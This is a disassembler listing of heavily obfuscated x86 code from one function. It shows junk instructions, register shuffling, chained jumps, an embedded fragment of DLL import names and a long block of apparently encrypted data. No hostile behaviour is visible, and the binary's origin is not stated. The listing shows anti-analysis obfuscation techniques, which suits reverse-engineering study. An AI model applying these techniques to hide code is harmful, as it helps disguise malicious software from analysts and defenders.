		add	ebp, esi
		add	ebp, 6E396531h
		add	ebp, 4DF850D4h
		push	[esp+0BAh+var_BC+2]
		pop	esi
		add	esp, 4
		xor	ebp, [esp+0B6h+var_B8+2]
		xor	[esp+0B6h+var_B8+2], ebp
		xor	ebp, [esp+0B6h+var_B8+2]
		pop	esp
		push	[esp+0B2h+var_B4+2]
		jmp	loc_5D2205
; ---------------------------------------------------------------------------


loc_5D3D05:				; CODE XREF: sub_5A55E5+2B085j
		pop	eax
		xchg	esi, [esp+82h+var_84+2]
		pop	esp
		push	dword ptr [edi+1Ch]
		push	esi
		jmp	loc_5CB24F
; ---------------------------------------------------------------------------


loc_5D3D13:				; CODE XREF: sub_5A55E5+2729Fj
		mov	edi, 9886202h
		and	edi, 75A6621Ah
		shl	edi, 5
		add	edi, 375F19B4h
		sub	edx, edi
		jmp	loc_5C8688
; ---------------------------------------------------------------------------


loc_5D3D2E:				; CODE XREF: sub_5A55E5+1E537j
		xor	ecx, edx
		xor	edx, ecx
		xor	eax, edx
		xor	edx, eax
		xor	eax, edx
		push	6E81h
		mov	[esp+88h+var_88], ecx
		push	6389h
		mov	[esp+8Ch+var_8C], esp
		jmp	loc_5C678C
; ---------------------------------------------------------------------------


loc_5D3D4D:				; CODE XREF: sub_5A55E5+26923j
					; sub_5A55E5:loc_5CFCFEj ...
		push	[esp+80h+var_80]
		mov	ebx, [esp+84h+var_84]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+88h+var_88]
		pop	esp
		push	2E80h
		mov	[esp+88h+var_88], esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_5C223B
; ---------------------------------------------------------------------------


loc_5D3D79:				; CODE XREF: sub_5A55E5+2816Fj
		push	edx
		mov	ebx, [esp+7Ch+var_7C]
		add	esp, 4
		jmp	loc_5CAFD7
; ---------------------------------------------------------------------------


loc_5D3D85:				; CODE XREF: sub_5A55E5+2322Bj
		xchg	edi, [esp+0ACh+var_AC]
		jmp	loc_5C2660
; ---------------------------------------------------------------------------


loc_5D3D8D:				; CODE XREF: sub_5A55E5+2766Bj
		push	small 6079h
		mov	word ptr [esp+92h+var_94+2], ax
		mov	ah, 6
		jmp	loc_5D15E7
; ---------------------------------------------------------------------------


loc_5D3D9C:				; CODE XREF: sub_5A55E5+1EE13j
		pop	ebx
		jmp	loc_5BFAFC
; ---------------------------------------------------------------------------


loc_5D3DA2:				; CODE XREF: sub_5A55E5+22B7Cj
		push	edx
		jmp	loc_5CB795
; ---------------------------------------------------------------------------


loc_5D3DA8:				; CODE XREF: sub_5A55E5+1A638j
		add	edi, 0A44185F4h
		or	edx, edi
		mov	edi, [esp+9Ah+var_9C+2]
		add	esp, 4
		not	edx
		push	ebx
		push	edx
		push	0C546E4h
		jmp	loc_5CBDAD
; ---------------------------------------------------------------------------


loc_5D3DC7:				; CODE XREF: sub_5A55E5+2AE26j
		push	edi
		jmp	loc_5CF728
; ---------------------------------------------------------------------------


loc_5D3DCD:				; CODE XREF: sub_5A55E5+1E0EEj
		push	ecx
		mov	ecx, 25A03B7Bh
		sub	eax, ecx
		mov	ecx, [esp+52h+var_54+2]
		jmp	loc_5CE3A2
; ---------------------------------------------------------------------------


loc_5D3DDD:				; CODE XREF: sub_5A55E5+2D12Ej
		sub	cl, 8Dh
		mov	dl, cl
		pop	ecx
		add	al, 1Bh
		sub	al, dl
		sub	al, 1Bh
		pop	edx
		jmp	loc_5D277B
; ---------------------------------------------------------------------------


loc_5D3DEF:				; CODE XREF: sub_5A55E5+26BD5j
		mov	[esp+0A0h+var_A0], ebx
		jmp	loc_5CB532
; ---------------------------------------------------------------------------


loc_5D3DF7:				; CODE XREF: sub_5A55E5+28AD9j
		xor	ebx, 25DD7B0Eh
		inc	ebx
		push	eax
		mov	eax, 4D0474BEh
		jmp	loc_5D1773
; ---------------------------------------------------------------------------


loc_5D3E09:				; CODE XREF: sub_5A55E5+260E6j
		mov	[esp+84h+var_84], eax
		push	esi
		mov	esi, 0CFDCECCFh
		mov	eax, esi
		pop	esi
		sub	esp, 4
		mov	[esp+88h+var_88], ebx
		mov	ebx, 78006416h
		dec	ebx
		sub	esp, 4
		mov	[esp+8Ch+var_8C], ebp
		mov	ebp, 491341FBh
		jmp	loc_5C1A95
; ---------------------------------------------------------------------------


loc_5D3E34:				; CODE XREF: sub_5A55E5+1C08Ej
		add	ch, bh
		jmp	loc_5D26F2
; ---------------------------------------------------------------------------


loc_5D3E3B:				; CODE XREF: sub_5A55E5+24C78j
		mov	ecx, 4B3161EEh
		add	edi, ecx
		mov	ecx, [esp+64h+var_64]
		add	esp, 4
		sub	edi, 8DD6291h
		push	eax
		mov	eax, 11115920h
		sub	edi, eax
		pop	eax
		sub	edi, ecx
		push	33CEh
		mov	[esp+64h+var_64], ebx
		mov	ebx, 43FC0B60h
		add	ebx, 0CD154DC0h
		add	edi, ebx
		mov	ebx, [esp+64h+var_64]
		add	esp, 4
		add	edi, 8DD6291h
		push	ecx
		mov	ecx, 67ED47BDh
		inc	ecx
		jmp	loc_5C474D
; ---------------------------------------------------------------------------


loc_5D3E8C:				; CODE XREF: sub_5A55E5+1C8C7j
		push	edx
		mov	edx, 33E12B2Bh
		xor	edx, 33E12B2Fh
		add	eax, edx
		pop	edx
		jmp	loc_5C44A7
; ---------------------------------------------------------------------------


loc_5D3EA0:				; CODE XREF: sub_5A55E5+2C5AEj
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp+0C0h+var_C0]
		pop	esp
		mov	[esp+0BCh+var_BC], esi
		jmp	loc_5D21B6
; ---------------------------------------------------------------------------


loc_5D3EB5:				; CODE XREF: sub_5A55E5+1F20Dj
		push	edx
		push	ebp
		jmp	loc_5D405C
; ---------------------------------------------------------------------------


loc_5D3EBC:				; CODE XREF: sub_5A55E5+257ADj
		xchg	ebx, [esp+74h+var_74]
		jmp	loc_5C962D
; ---------------------------------------------------------------------------


loc_5D3EC4:				; CODE XREF: sub_5A55E5+2266Fj
		shr	ecx, 7
		sub	esp, 4
		mov	[esp+0B6h+var_B8+2], ebx
		push	[esp+0B6h+var_B8+2]
		mov	eax, [esp+0BAh+var_BC+2]
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_5C634A
; ---------------------------------------------------------------------------


loc_5D3EE1:				; CODE XREF: sub_5A55E5+2BC0Bj
		add	esp, 4
		add	ebx, edi
		pop	edi
		push	2DE6h
		mov	[esp+88h+var_88], ebx
		push	[esp+88h+var_84]
		push	[esp+8Ch+var_8C]
		pop	ebx
		add	esp, 4
		jmp	loc_5C86D1
; ---------------------------------------------------------------------------


loc_5D3F02:				; CODE XREF: sub_5A55E5+1C54Aj
		push	[esp+0AAh+var_AC+2]
		push	[esp+0AEh+var_B0+2]
		push	[esp+0B2h+var_B4+2]
		mov	esi, [esp+0B6h+var_B8+2]
		add	esp, 4
		add	esp, 4
		add	esp, 4
		push	esi
		push	esp
		pop	esi
		push	edi
		push	ecx
		mov	ecx, 4
		mov	edi, ecx
		pop	ecx
		add	esi, edi
		pop	edi
		jmp	loc_5CF4D4
; ---------------------------------------------------------------------------


loc_5D3F2F:				; CODE XREF: sub_5A55E5+29510j
		push	4513h
		mov	[esp+72h+var_74+2], ecx
		mov	ecx, 2
		add	edi, 72F910A2h
		jmp	loc_5D402F
; ---------------------------------------------------------------------------


loc_5D3F47:				; CODE XREF: sub_5A55E5+24649j
		pop	eax
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp+86h+var_88+2]
		pop	esp
		push	esp
		pop	[esp+86h+var_88+2]
		add	[esp+82h+var_84+2], 4
		push	[esp+82h+var_84+2]
		pop	edx
		push	edx
		mov	edx, esp
		jmp	loc_5C29C5
; ---------------------------------------------------------------------------


loc_5D3F6A:				; CODE XREF: sub_5A55E5+2DAD1j
		pop	ecx
		add	edx, eax
		jmp	loc_5C4F4A
; ---------------------------------------------------------------------------


loc_5D3F72:				; CODE XREF: sub_5A55E5+21D91j
		not	ebp
		add	ebp, 9ED56C8h
		sub	esi, 63F158B1h
		sub	esi, ebp
		jmp	loc_5C5C8E
; ---------------------------------------------------------------------------


loc_5D3F87:				; CODE XREF: sub_5A55E5+2DCC3j
		xchg	edx, [esp+5Ch+var_5C]
		pop	esp
		mov	[esp+58h+var_58], ebx
		jmp	loc_5C5464
; ---------------------------------------------------------------------------


loc_5D3F93:				; CODE XREF: sub_5A55E5+1EE24j
		sub	esp, 4
		mov	[esp+70h+var_70], esp
		add	[esp+70h+var_70], 4
		jmp	loc_5CF41A
; ---------------------------------------------------------------------------


loc_5D3FA5:				; CODE XREF: sub_5A55E5+23B82j
		xor	ecx, 5A394287h
		add	ecx, 0A59FAC44h
		add	ebp, ecx
		pop	ecx
		jmp	loc_5C94FA
; ---------------------------------------------------------------------------


loc_5D3FB9:				; CODE XREF: sub_5A55E5+2CD2Cj
		push	ebx
		push	7C080E92h
		mov	ebx, [esp+8Eh+var_90+2]
		add	esp, 4
		xor	ebx, 52B442D1h
		mov	esi, ebx
		pop	ebx
		xor	esi, ebx
		mov	ebx, [esp+86h+var_88+2]
		add	esp, 4
		sub	esp, 4
		mov	[esp+86h+var_88+2], ecx
		mov	ecx, 610C5DF2h
		and	esi, ecx
		push	[esp+86h+var_88+2]
		mov	ecx, [esp+8Ah+var_8C+2]
		add	esp, 4
		add	esp, 4
		add	esi, 9EF7F71Eh
		and	eax, esi
		jmp	loc_5D36D3
; ---------------------------------------------------------------------------


loc_5D4005:				; CODE XREF: sub_5A55E5+2D58Ej
		xor	edi, ecx
		pop	ecx
		jmp	loc_5C4F0D
; ---------------------------------------------------------------------------


loc_5D400D:				; CODE XREF: sub_5A55E5+2E40Ej
		add	edi, 4
		xchg	edi, [esp+0A6h+var_A8+2]
		pop	esp
		jmp	loc_5CB5AE
; ---------------------------------------------------------------------------


loc_5D4019:				; CODE XREF: sub_5A55E5+2CE66j
		add	edx, ecx
		sub	edx, 12DC1BD9h
		add	edx, 14E85DE9h
		push	[esp+38h+var_3A+2]
		jmp	loc_5CF1BF
; ---------------------------------------------------------------------------


loc_5D402F:				; CODE XREF: sub_5A55E5+2E95Dj
		add	edi, ecx
		sub	edi, 72F910A2h
		pop	ecx
		xchg	edi, [esp+6Eh+var_70+2]
		mov	esp, [esp+6Eh+var_70+2]
		mov	cx, word ptr [esp+6Eh+var_70+2]
		sub	esp, 4
		mov	[esp+72h+var_74+2], ebp
		push	esp
		jmp	loc_5D3A1B
; ---------------------------------------------------------------------------


loc_5D404E:				; CODE XREF: sub_5A55E5+1AF38j
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_5C7D16
; ---------------------------------------------------------------------------


loc_5D405C:				; CODE XREF: sub_5A55E5+2E8D2j
		mov	ebp, 1C92FBBh
		push	eax
		jmp	loc_5C8A8D
; ---------------------------------------------------------------------------


loc_5D4067:				; CODE XREF: sub_5A55E5+2B736j
		pop	ebp
		jmp	loc_5C0DE9
; ---------------------------------------------------------------------------


loc_5D406D:				; CODE XREF: sub_5A55E5+2A5D5j
		push	[esp+50h+var_50]
		pop	edx
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_5C5F37
; ---------------------------------------------------------------------------


loc_5D407F:				; CODE XREF: sub_5A55E5+1F03Aj
		mov	[esp+66h+var_68+2], edx
		push	41D86C04h
		pop	edx
		inc	edx
		dec	edx
		neg	edx
		jmp	loc_5CAC60
; ---------------------------------------------------------------------------


loc_5D4091:				; CODE XREF: sub_5A55E5+27618j
		add	eax, edi
		pop	edi
		add	eax, edx
		push	ebp
		mov	ebp, 65FD3CF7h
		xor	ebp, 205D5237h
		neg	ebp
		inc	ebp
		add	ebp, 8029979Ch
		jmp	loc_5D2C67
; ---------------------------------------------------------------------------


loc_5D40B0:				; CODE XREF: sub_5A55E5+4116j
		jmp	loc_5D4109
; ---------------------------------------------------------------------------
		db 3Ch,	7Ch, 0C8h
		dd 45535520h, 2E323352h, 6C6C64h, 41564441h, 32334950h
		dd 6C6C642Eh, 44544E00h, 642E4C4Ch, 0D8006C6Ch,	1000207h
		dd 11001900h, 2C000600h, 2E300h, 7 dup(0)
		db 0
; ---------------------------------------------------------------------------


loc_5D4109:				; CODE XREF: sub_5A55E5:loc_5D40B0j
		jmp	loc_5D5317
; ---------------------------------------------------------------------------
		push	7FD27AFh
		jmp	loc_5A99E0
; ---------------------------------------------------------------------------
		push	7FD288Bh
		jmp	loc_5A99E0
; ---------------------------------------------------------------------------
		push	7FD2B28h
		jmp	loc_5A99E0
; ---------------------------------------------------------------------------
		push	7FD2DB2h
		jmp	loc_5A99E0
; ---------------------------------------------------------------------------
		push	7FD2E87h
		jmp	loc_5A99E0
; ---------------------------------------------------------------------------
		push	7FD30C7h
		jmp	loc_5A99E0
; ---------------------------------------------------------------------------
		push	7FD31BBh
		jmp	loc_5A99E0
; ---------------------------------------------------------------------------
		dd 58AA5282h, 9082BA18h, 33DF5970h, 867C864Bh, 2AD86C6Ah
		dd 0FCDA7A9Ch, 1AB6BA48h, 0FFD818EAh, 26B1CD45h, 5D63E61Ch
		dd 60FE6A79h, 0F5A1C3C2h, 2DC77D59h, 1221F3A4h,	1FE55F6Eh
		dd 3C440186h, 0DD67700Ch, 0E602D8AAh, 5E23E302h, 0BB143CCAh
		dd 0F1E26B89h, 16C2DEE2h, 0CA5E240Fh, 8C2C5B68h, 28D7A030h
		dd 0D838660Eh, 0BA8749AFh, 6804D257h, 941DD751h, 0BD173703h
		dd 1BA88183h, 0D6CDF995h, 0EDC2638Eh, 9A262E0h,	126F18A9h
		dd 8085522Eh, 6D56F8DFh, 13844FADh, 3D852B5Dh, 0A0B8829Ch
		dd 894B2D34h, 333D86E8h, 69F659Fh, 0BAABF3BDh, 0D397E796h
		dd 0BDA5BC28h, 0B5FEE889h, 0E3C7791Eh, 0BD041BC7h, 545DE889h
		dd 0F89FA12Ch, 83CF8680h, 1BB793F0h, 13C0448Eh,	4EEB684h
		dd 9236B7C4h, 4327893Ah, 61806489h, 0BAE08F56h,	4FADDAE9h
		dd 36F00763h, 479F3951h, 0A793718Bh, 8F56243Bh,	9F347DE0h
		dd 0A0308C34h, 0B20CD0D5h, 1772081h, 0E88A4171h, 516804ACh
		dd 64941DD7h, 0D895CA3Dh, 0FAB60D96h, 0FAD7CFAAh, 0BDC31C39h
		dd 9AA6F113h, 19E91BB6h, 68A23915h, 4F11C38Ch, 0C5ACA8AEh
		dd 18B3C5D2h, 0C3F51EE7h, 16F618F9h, 870CB851h,	0D3DEF5F2h
		dd 0B07AB7FDh, 9F5B78D8h, 2300000Fh, 7F7F93ADh,	1559A953h
		dd 7A768C86h, 8F6FA359h, 7F45BD47h, 33D1FD57h, 0B359FDFh
		dd 24DEF7F7h, 3DC712EEh, 1ABE02C5h, 0C260FD0Bh,	12F20264h
		dd 0AE0DB3C2h, 395EDD2Ch, 0FB738C47h, 0B69A980Dh, 43C1438Dh
		dd 466A596Ah, 9D775E7Eh, 91C41032h, 7C088F30h, 0D10010A0h
		dd 3E587A57h, 4FA73159h, 0D6477D87h, 0A6F4BB5Ch, 0E5EDD300h
		dd 14BD7F50h, 873D16EEh, 0D39DB539h, 813F48FAh,	5AAEFF55h
		dd 0AAAEF6D2h, 31FEDD3Dh, 9FBB05CEh, 0B7890E08h, 0A25C77D3h
		dd 0C2BEC962h, 0E369C15h, 735FFBC5h, 0F5A22BC9h, 18B59995h
		dd 725B9DEAh, 0B7B3507Dh, 0B856D495h, 0F6E19F34h, 5539774Ch
		dd 60987271h, 91F6CBC2h, 0AF2347F3h, 0B1D66F95h, 0A7FA04CFh
		dd 0C6AF5A97h, 0C3F9E63Eh, 4700000Eh, 5BA36F89h, 3935CD77h
		dd 569A68A2h, 333BC77Dh, 0AB99699Bh, 0F70DC98Bh, 57E9E30Bh
		dd 0F80AC3ABh, 59EBE60Ah, 36A21EA9h, 0C260FC2Fh, 0D22EEE88h
		dd 1913AA07h, 3F8152DBh, 953DB21Bh, 785C646Fh, 0CA5E2469h
		dd 0DEA6F1C2h, 72EC7242h, 0D76A987h, 9E537E7Ah,	1C97B916h
		dd 7385B837h, 0CA5D556Ch, 0E9C7FCC5h, 550221C5h, 475BCA5Dh
		dd 8C62147Dh, 0F37D4693h, 5CE26D8h, 0C50EEA92h,	9E99C82Ch
		dd 0E1F2CA5Dh, 0EAE612F2h, 9F269A5Ah, 46FA0F3Ch, 6956EA7Eh
		dd 5E17667Dh, 0E2F2BFCAh, 98AEFFF3h, 0A5E1CBD3h, 0D491F6CDh
		dd 0FA63F215h, 6D350595h, 0F4DC482Bh, 22D5C294h, 0C7h
		dd 626E1262h, 278922E2h, 5E24A4BBh, 0E3B4FDCAh,	1DB53A95h
		dd 8F440DE7h, 82804D31h, 34DEA982h, 646E1268h, 1E41B7E0h
		dd 7DCA5E24h, 2F440E35h, 9EE90AD5h, 96BA7762h, 0C6DD0B39h
		dd 1FCA5DB0h, 0DB7F4192h, 0C54552CCh, 9A01D9E9h, 0DE4CF4CAh
		dd 207D1B9h, 0EFF6E2BEh, 48CA5DD3h, 9291357Bh, 0EBCA5DD4h
		dd 0AB0FB1D6h, 0D3BCE30Fh, 8C15CA5Dh, 472975FBh, 640CD258h
		dd 51CC855h, 5EC26361h,	6B557E55h, 0B83CC60Fh, 0F498A8EFh
		dd 92C67F58h, 0B0C2952Bh, 9AE6B122h, 0E61EB43Dh, 93B7D3DDh
		dd 62EB093Bh, 641A8F96h, 0ACDBE8C2h, 0D3FE625Eh, 8053F1DEh
		dd 3ECE917h, 238D36C8h,	27708A47h, 0D40805Dh, 127C0000h
		dd 23E1636Eh, 0D0FBFD8Ah, 0A74DF7DBh, 6F0BB51Eh, 56AED963h
		dd 3DF7066Ah, 21669833h, 8B374FE9h, 0CA5E2494h,	0A31F21ABh
		dd 5FFBC50Eh, 0A12ACA74h, 5E664AF6h, 649BCAC8h,	11E7B017h
		dd 0D257EAEBh, 99C82C90h, 0F2C263A7h, 0A40CB6E1h, 63A72140h
		dd 47297AC2h, 0B161728Ch, 113C50Dh, 3FC43414h, 2C5B6892h
		dd 0A72C814Ch, 5CE579Dh, 0A349FBBh, 4D310D7Dh, 0ED158280h
		dd 78A74B6Bh, 0D1C263F1h, 0E277D400h, 7B589956h, 0C8046848h
		dd 71A2C125h, 0A6FBC263h, 324ED71Dh, 0CF589CA0h, 91CCF8C8h
		dd 70CA6096h, 9445260h,	0C2D5FC6Dh, 0F469ACF8h,	0F4416084h
		dd 99ABA66h, 0A32097BBh, 502C9030h, 0E7197E86h,	0FA6255EEh
		dd 0BDDCC043h, 71BD9EACh, 815281F8h, 928C1B3Fh,	19A98505h
		dd 0F81244C9h, 334552BBh, 89BB159Ah, 0CFF1E26Bh, 0D71D27ABh
		dd 9FBB494Eh, 45080B34h, 806E7561h, 0FAC7BA66h,	698D7ECAh
		dd 6E323C89h, 883B886Ch, 0A9344319h, 453292CEh,	0C26h
		dd 122AAAh, 0D82AD200h,	0FB070198h, 0EE24DEF3h,	0D240C412h
		dd 6472E204h, 824E32E0h, 67709082h, 8E4925DDh, 5BB9E74h
		dd 60F8C2E1h, 39391BC2h, 0E2626E12h, 7B208A22h,	34948Bh
		dd 19B4C4D3h, 0CE053F94h, 0C3418EF2h, 814C28D4h, 0E56DC280h
		dd 336C58EAh, 0CEF2E1E2h, 6A1D27B2h, 47EAE612h,	5D62849Bh
		dd 0FFD4DDCAh, 42F8D905h, 0B01C953Eh, 0E8DB7490h, 3B9E470Ch
		dd 61C8D7FBh, 9021CA5Dh, 0CADAC643h, 0ABA6FCFh,	0DA831484h
		dd 775B3FFFh, 0CA5D7B68h, 0D1A7F0C1h, 0CA5D7CDBh, 764DF7E0h
		dd 7372563Ah, 0CCCA5D79h, 3236ABF8h, 16AD8693h,	38B29C71h
		dd 0FEA20595h, 5D72CBDAh, 88F24CAh, 0FFFD7C77h,	1CB599FFh
		dd 52450EE6h, 4FC21242h, 0BC24A21h, 329DDBACh, 0E1F210BDh
		dd 0AF517BDFh, 1C801CE8h, 5D6EA9B8h, 0E6B102CAh, 0D60216A4h
		dd 0CA5D6DCFh, 5A58ECE6h, 1A367A49h, 0A88183B9h, 0E1BDE1DFh
		dd 6E0A19BDh, 4E63CA5Dh, 5D6E7BAAh, 98FFD4CAh, 578CFAE0h
		dd 4BCFDFD2h, 302E201Ch, 3A873364h, 44F8DA76h, 0F7C1B753h
		dd 0CEF2CEF2h, 632EFB2Ah, 17F54C2h, 935D2AD0h, 0CA5D5735h
		dd 88BC163Ah, 6B4E36Ch,	2B97F3BDh, 0BA690834h, 0A953448Dh
		dd 69081B45h, 619B38BAh, 0E31DB7A3h, 9A518C21h,	8273EAAh
		dd 3380BA69h, 0FCDF66A0h, 6D74603Ch, 84BA6908h,	733CB848h
		dd 5C836F4Fh, 0B5BA6908h, 0DDB0D7ECh, 0A609D8Ch, 0B1507CE0h
		dd 1E74BCEh, 692EA5A8h,	2E296h,	0C212D600h, 867DCC82h
		dd 0D471167Ch, 29C09CACh, 0BB4191EFh, 0C424B6CCh, 33FCF808h
		dd 0AD3C20A0h, 78142473h, 0AA1F8328h, 7B0C37E2h, 57EA5BF5h
		dd 0A2C8D8D2h, 868F8923h, 0CEB290F7h, 27000400h, 9C38149Ch
		dd 1AB4A064h, 53AED9EAh, 0ABEA656Dh, 5CFA30ABh,	2A388368h
		dd 16813B57h, 3D572862h, 0EDD9B59Ch, 0E8891CF6h, 0ED15824Fh
		dd 0EDC20B6Bh, 0DA65EE4h, 5E753EB6h, 8B9A3E62h,	0E4E8891Dh
		dd 0CCF8C8CFh, 0F0832EFAh, 54F8B809h, 0A22BC97Bh, 0CFAB87F5h
		dd 768CFB05h, 75D9D7E4h, 0DFE1A65Ch, 8329FBBh, 7F3064ECh
		dd 95B601EFh, 0F9F593Eh, 48E888A5h, 5C98A824h, 5AF6C4D3h
		dd 0B10FC478h, 0FC55C50Dh, 0A85CC656h, 0B936A1DFh, 25DDE61Ch
		dd 75618E49h, 0D8949D6Eh, 4D0AFBC7h, 4C0D0897h,	75554C77h
		dd 60B07B45h, 99CD300h,	0B0200000h, 5C767A88h, 87165AA8h
		dd 5879758Dh, 469070A2h, 608254BEh, 0D82ADAF4h,	0E043C98h
		dd 0B35FE5F2h, 14FE00CBh, 544B7745h, 0ADC260F7h, 6E12C3D7h
		dd 8B24E064h, 0D43406FCh, 347C47F9h, 24756C58h,	6CECA5Eh
		dd 0B6DD4EAh, 0A808BB19h, 5DE1253Ch, 62357ECAh,	72563A56h
		dd 0CA5DE173h, 0E883BDEh, 3D858113h, 79A84C74h,	0D2CA5DA4h
		dd 8CE29601h, 51D25AC9h, 64A0A22Dh, 7E150CB8h, 656EC260h
		dd 3519296Eh, 0C0896B99h, 4D1AD13h, 0B41F21ABh,	0D963700Ch
		dd 405C64AEh, 607E8D94h
		dd 0AADDE6C2h, 0BD0301CEh, 0E70D37A1h, 863DC70Bh, 9E56EEEAh
		dd 1EFA8215h, 3775D496h, 2C5BFA57h, 9D2C814Ch, 51F3DDA3h
		dd 0F8A91AB3h, 0C6AF82CEh, 0C7D0AD07h, 4B000008h, 67877B85h
		dd 3D41D16Bh, 629E74AEh, 3737CB71h, 27AD659Fh, 0CB7955FFh
		dd 639D3737h, 0FC06CFAFh, 55EFEA06h, 42A61ABDh,	0C260F623h
		dd 0D21ADA7Ch, 7993FE07h, 0E270A026h, 7EBCFF1h,	0CA5D80D8h
		dd 8DF7A031h, 0BAE90DB1h, 11CA5D80h, 5D7FBEE5h,	288A17CAh
		dd 80455C88h, 159ECA5Dh, 0F014C2BEh, 2C4C3B14h,	7E864CA1h
		dd 9A16AD86h, 8EC18B6h,	0D0AC583Fh, 112BA805h, 8B695AF3h
		dd 1CD8626Fh, 886C9440h, 2D9ECBFh, 0A408B455h, 5D802140h
		dd 0C7D67ACAh, 5411764Dh, 9C9A595h, 0DECCA4F3h,	0E3CA5D81h
		dd 456B58EAh, 1A96AC29h, 5D7EB7AEh, 0D4C310CAh,	9523DFB1h
		dd 0FA233405h, 3854FFFFh, 5D7A958Ch, 0B2E5EECAh, 0EDC212E2h
		dd 0FF02E823h, 0C5DC08A8h, 1ECA5D65h, 0DBF60295h, 66B3B216h
		dd 0B70CCA5Dh, 0EFE41EB9h, 39992915h, 1BF082EDh, 5182BC17h
		dd 22764446h, 7D4390B4h, 0A84CF6E1h, 0E4C8781Fh, 0D0B77188h
		dd 5832B228h, 0A80899D2h, 0FDB5B618h, 2C5BE5CBh, 6F7EE2DEh
		dd 12B2E2B5h, 468F626Eh, 0C58007BCh, 0E3EC90F4h, 88B21F61h
		dd 2C2D0BFFh, 8B442884h, 24638266h, 0E7BCCA5Eh,	63E94DCh
		dd 3955F781h, 0EED2D258h, 640DDB0Ah, 0F89F34C2h, 6382664Ah
		dd 0BCC2640Eh, 0DF1F0D4h, 794AC264h, 9478794Ah,	0DD5CCF8h
		dd 0A52EC264h, 817D7EF2h, 4A86A7Bh, 4C9AC1E0h, 0FE891A1Ah
		dd 0C3DA2E0Ch, 5A367A49h, 4C9B776Eh, 0BD03D01Ah, 4C9B0A19h
		dd 494E631Ah, 9A371377h, 7C0BA460h, 46AD12F4h, 963B1F22h
		dd 0D8BF886Ch, 0B94B86EAh, 5F61723Bh, 8988973Bh, 0D0E11252h
		dd 0FD613DC7h, 4DF7E0D1h, 0E2B51EA7h, 10BE1AA0h, 8C3710F4h
		dd 728A4824h, 3FAF1325h, 781A4CC5h, 3C4BC5D4h, 50F4E27Eh
		dd 8A81BB4h, 4C876A64h,	4A7952B2h, 3B1F7B3Dh, 669272ACh
		dd 89E7DC68h, 753EB64Ch, 36FBD622h, 584E9392h, 20C4EC0Ah
		dd 0A584E01h, 497A495Ah, 16F5767h, 9DB3E34h, 0F3BC38F2h
		dd 535BB7E0h, 7423DDF7h, 40A44984h, 0A58A421h, 79A297Ah
		dd 7EB74A0Fh, 87916EC6h, 0B000006h, 0A7C73BC5h,	0FD01112Bh
		dd 0A2DE34EEh, 0F7F70B31h, 67ED25DFh, 8BB9153Fh, 0A35D7777h
		dd 0BC468F6Fh, 95AF2A46h, 2E6DA7Dh, 0C260F3E3h,	0DC5A1A3Ch
		dd 0C97FFEFEh, 11F311BEh, 0ECEA8C38h, 8FC6C659h, 0AA19FEC5h
		dd 0CFF39719h, 0CA5D8BD0h, 8CA4BB27h, 0B4FDCA5Dh, 0E6D2C50Eh
		dd 0C52CA6CAh, 28CCF70Dh, 467D874Ch, 0B27BB741h, 502CD25Ah
		dd 5A867E86h, 0A32CC87Ch, 0F35B6730h, 139D26D8h, 67544B77h
		dd 24ADC260h, 0D9E9C573h, 5C07A83Eh, 0DE646D8Eh, 51368D26h
		dd 4C9DA62Fh, 0E6249DCDh, 3D615F74h, 60308A99h,	0F2CEE3C2h
		dd 602FDF06h, 1C6B38C2h, 0AEED26Eh, 0C2602FDBh,	309FC632h
		dd 0ABF8C260h, 243BA707h, 7DC26030h, 8F89F34h, 0AFB622CFh
		dd 8C26030h, 0ECD75168h, 0DD811DD7h, 37494EF4h,	39C30F9Ch
		dd 0D0E1F2BBh, 0C6AFBDC2h, 93C4B113h, 17000005h, 6B937FB9h
		dd 4925DD67h, 668A78B2h, 432BD76Dh, 0BB89798Bh,	0E71DB99Bh
		dd 47F9D31Bh, 0E81AB3BBh, 49FBD61Ah, 46B20EB9h,	0C260F31Fh
		dd 121EDE78h, 6AE026AEh, 4A0E0E23h, 5E01879Eh, 0C4D3E0CAh
		dd 329CFCBEh, 5BFFC112h, 9D35CF71h, 0A4753524h,	88F4417h
		dd 504C5438h, 0F1933F07h, 3C780087h, 0EDD25AFCh, 0AFFE25D1h
		dd 4A57C260h, 0B5217D3Dh, 0C260B0AEh, 0A709BA07h, 7CFF3717h
		dd 0AADD874Fh, 1CEB20Eh, 0B41F19B0h, 0B53A95E3h, 0D8D8EB19h
		dd 4DA75974h, 81771384h, 0CE7461B9h, 349FBB05h,	3661EA0Ah
		dd 884A268Ah, 0D36E7561h, 0FAC7C260h, 353ABEC9h, 78C260D3h
		dd 0D3B1B014h, 0EC8C260h, 0A0E7BCF6h, 6A6B12A2h, 9F21B0C6h
		dd 60D12C33h, 873C85C2h, 8053E9E9h, 0B37E5884h,	60D1100Fh
		dd 6B5869C2h, 94AE2945h, 54B0D770h, 38CD0967h, 16B28EABh
		dd 6FA33029h, 458FEBCFh, 19362DBBh, 804DC261h, 24734082h
		dd 6F515EDEh, 0C63EC00Bh, 0CF04389Ah, 3530B405h, 8106B4E6h
		dd 13BFDBBFh, 0C261090Ch, 36CC0965h, 7776FA8Dh,	0BEC26109h
		dd 890E36A2h, 0F8C8E8B9h, 3BD0FC49h, 0FE86110Bh, 6F953E22h
		dd 30FDD828h, 60B69DC4h, 0C3ADF6C2h, 34FDF709h,	953D219Fh
		dd 0B669785Ch, 0F1C2C260h, 6B47B5E2h, 4C3BC50Fh, 40C20D6Bh
		dd 53F2DC80h, 69547D77h, 0F47C4741h, 0B16126DEh, 0BB50C50Dh
		dd 0CF30F751h, 901DB8C8h, 0D56F6A47h, 0E3EBD5FEh, 8D09004Ch
		dd 0DAA2F5A6h, 8EB6223Eh, 10F83C09h, 63DDECF9h,	39BB08A1h
		dd 7193B11Dh, 0D67376EDh, 980F9FC1h, 63C99C6h, 0EC4BDABEh
		dd 0D1B64E84h, 965D514h, 897837CCh, 927E027Dh, 0AF2A5641h
		dd 586B9142h, 26DEF458h, 710DB161h, 0B44C8861h,	4D88781Fh
		dd 3F4220B4h, 3E9594A1h, 4FF5DE82h, 7CE0BC48h, 2C339F52h
		dd 85C260D1h, 873Ch, 0EE922ED6h, 0CD3760E4h, 0D91B21B1h
